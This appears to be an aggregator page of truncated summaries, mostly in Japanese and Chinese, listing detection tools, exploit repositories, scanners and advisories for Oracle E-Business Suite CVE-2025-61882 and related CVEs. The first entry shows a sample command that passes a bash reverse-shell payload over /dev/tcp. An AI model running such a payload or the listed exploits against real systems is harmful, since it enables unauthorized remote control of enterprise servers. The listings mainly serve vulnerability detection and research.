watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Oracle E-Business Suite CVE-2025-61882 向け検出アーティファクト生成ツール 技術的な詳細は、ブログ記事 を参照してください 動作中の検出 root@kitploit: python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command 'bash -i & /dev/tcp/192.168.1.10/4444 0&1' --platform linux --target...

CVE-2025-61882-Oracle-EBS

Oracle E-Business Suite — CVE-2025-61882 本仓库包含 ZeroZenX 的研究成果以及针对 CVE-2025-61882 的完整可用漏洞利用实现，仅供在授权环境中支持防御性研究、事件响应、检测工程和补丁验证。 重要提示： 此代码仅供安全专业人员在受控实验室环境中使用，仅供获得明确授权的渗透测试人员以及需要验证缓解措施的供应商/运营商使用。 未经授权对生产系统或你不拥有的系统使用此代码属于违法行为，且不符合道德规范。...

CVE-2025-61882-CVE-2025-61884

CVE-2025-61882 & CVE-2025-61884 編集：Oracleは新しい脆弱性CVE-2025-61884を開示しました。この脆弱性の検出スクリプトは、このリポジトリまたは元の場所（https://gist.github.com/rxerium/6c70bc6b72fc0d1365c85937d35d9550）にあります。 Oracleのセキュリティアドバイザリからの引用： このセキュリティアラートは、Oracle E-Business...

CVE-2025-53072-CVE-2025-62481

CVE-2025-53072 & CVE-2025-62481 Oracle E-Business SuiteのOracle Marketing製品における脆弱性（コンポーネント：マーケティング管理）。 この検出方法はどのように機能しますか？ このNucleiテンプレートは、サーバーのLast-Modifiedヘッダーが2025年10月21日（パッチ適用日）より前のビルド日時を示しているかを確認し、E-Business Suiteのホームページコンテンツと200ステータス応答を識別することと組み合わせて、CVE-2025-53072およびCVE-2025-62481に対して脆弱なOrac...

Enterprise-Information-Security-Risk-Assessment-Oracle-E-Business-Suite-Case-Study

Information Security: GDPR Compliance & Incident Response A comprehensive security and privacy compliance framework for high-risk biometric surveillance systems CCTV, Facial Recognition Technology, and centralised contact tracing, including comparative framework analysis ISO 27001, Cyber...

cve-2025-61882-oracle_ebs_rce_reproduction

CVE-2025-61882 — Oracle E-Business Suite の認証不要リモートコード実行 CVSS 9.8 クリティカル 概要 CVE-2025-61882 は、Oracle E-Business Suite EBS における認証不要のリモートコード実行脆弱性であり、Concurrent Processing および BI Publisher コンポーネントに影響します。この欠陥により、認証されていない攻撃者が HTTP を介したネットワークアクセスによって対象システムを完全に侵害することが可能です。本脆弱性は、Clop...

Oracle E-Business Suite 12.2.3 -12.2.11 - Remote Code Execution

Oracle E-Business Suite 12.2.3 through 12.2.11 is susceptible to remote code execution via the Oracle Web Applications Desktop Integrator product, Upload component. An attacker with HTTP network access can execute malware, obtain sensitive information, modify data, and/or gain full control over a...

CVE-2025-61882-Oracle-E-Business-Suite-Pre-Auth-RCE-Exploit

CVE-2025-61882 - Oracle E-Business Suite 事前認証RCEエクスプロイト Oracle E-Business Suite（バージョン12.2.3〜12.2.14）における重大な事前認証リモートコード実行（RCE）の脆弱性により、攻撃者は悪意のあるHTTPリクエストを介して脆弱なサーバーを完全に制御できる可能性があります — 現在、実環境で活発に悪用されています。 TL;DR CVE-2025-61882 は、Oracle E-Business Suite（EBS） における重大な事前認証RCE...

http-oracle-ebs-cve-2025-61882.nse

http-oracle-ebs-cve-2025-61882.nse Oracle E-Business Suite（CVE-2025-61882）を検出します。検出方法：多層チェック — フィンガープリンティング、バージョン確認、エンドポイント＆SSRFテスト、タイミング分析＆制御された悪用による4つの高信頼性結果。デフォルト＝安全なフィンガープリンティングのみ。aggressive=true を設定するとアクティブ/プロービングチェックが有効になり、注意して使用してください。提供：BattalionX [email protected]...

vulnerabilities present in Oracle E-Business Suite

Oracle has identified 159 vulnerabilities in various Oracle E-Business Suite products, including Oracle Applications Framework, Oracle Document Management and Collaboration, Oracle Mobile Application Server, Oracle Alert, Oracle Application Object Library, Oracle Applications Manager, Oracle Bill...

Blackash-CVE-2025-61882

🛡️🚨 CVE‑2025‑61882 — Oracle E‑Business Suite EBS における重大な事前認証リモートコード実行 🚨🛡️ 概要: Oracle E‑Business Suite EBS における重大な事前認証リモートコード実行 — 12.2.3 → 12.2.14 に影響、CVSS 9.8 、実環境で活発に悪用（ランサム/恐喝活動が報告済み）。（oracle.com1） 📌 クイックファクト（表）...

Blackash-CVE-2025-61884

CVE-2025-61884 — 新たなOracle E-Business Suiteのバグにより、ログインなしでハッカーがデータにアクセスできる可能性 💀 CVE-2025-61884 — 完全な概要 🧾💥...

CVE-2025-61882-CVE-2025-61884

CVE-2025-61882 & CVE-2025-61884 EDIT: Oracle just disclosed a new vulnerability CVE-2025-61884, the detection script for that vuln can be found in this repo or originally here:https://gist.github.com/rxerium/6c70bc6b72fc0d1365c85937d35d9550. As quoted from Oracle's security advisory: This Securit...

CVE-2025-61882

Oracle E-Business Suite RCE スキャナー CVE-2025-61882 Oracle E-Business Suite インストール環境における CVE-2025-61882 を検出するための、高速でマルチスレッド対応の一括スキャナーです。この重大な脆弱性により、認証なしのリモートコード実行が可能になります。 🎯 特徴 一括スキャン - ファイルから数百〜数千のターゲットを処理 マルチスレッド - 同時スキャン数を設定可能（デフォルト: 20スレッド） 自動検出 - id コマンドを実行し、出力を解析して RCE を検証 リアルタイム結果 -...

CVE-2026-87265

Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite component: Other issue. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing. Successful attac...

CVE-2026-87165

Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite component: ECC For Award and IDV. The supported version that is affected is V16. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromis...

CVE-2026-87169

Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite component: Wage Determination Online. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HT...

CVE-2026-87166

Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite component: Other issue. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing. Successful attac...

CVE-2026-87161

Vulnerability in the Oracle HRMS India product of Oracle E-Business Suite component: Internal Operations. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle HRMS India. While th...

CVE-2026-87163

Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite component: Other issue. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing. Successful attac...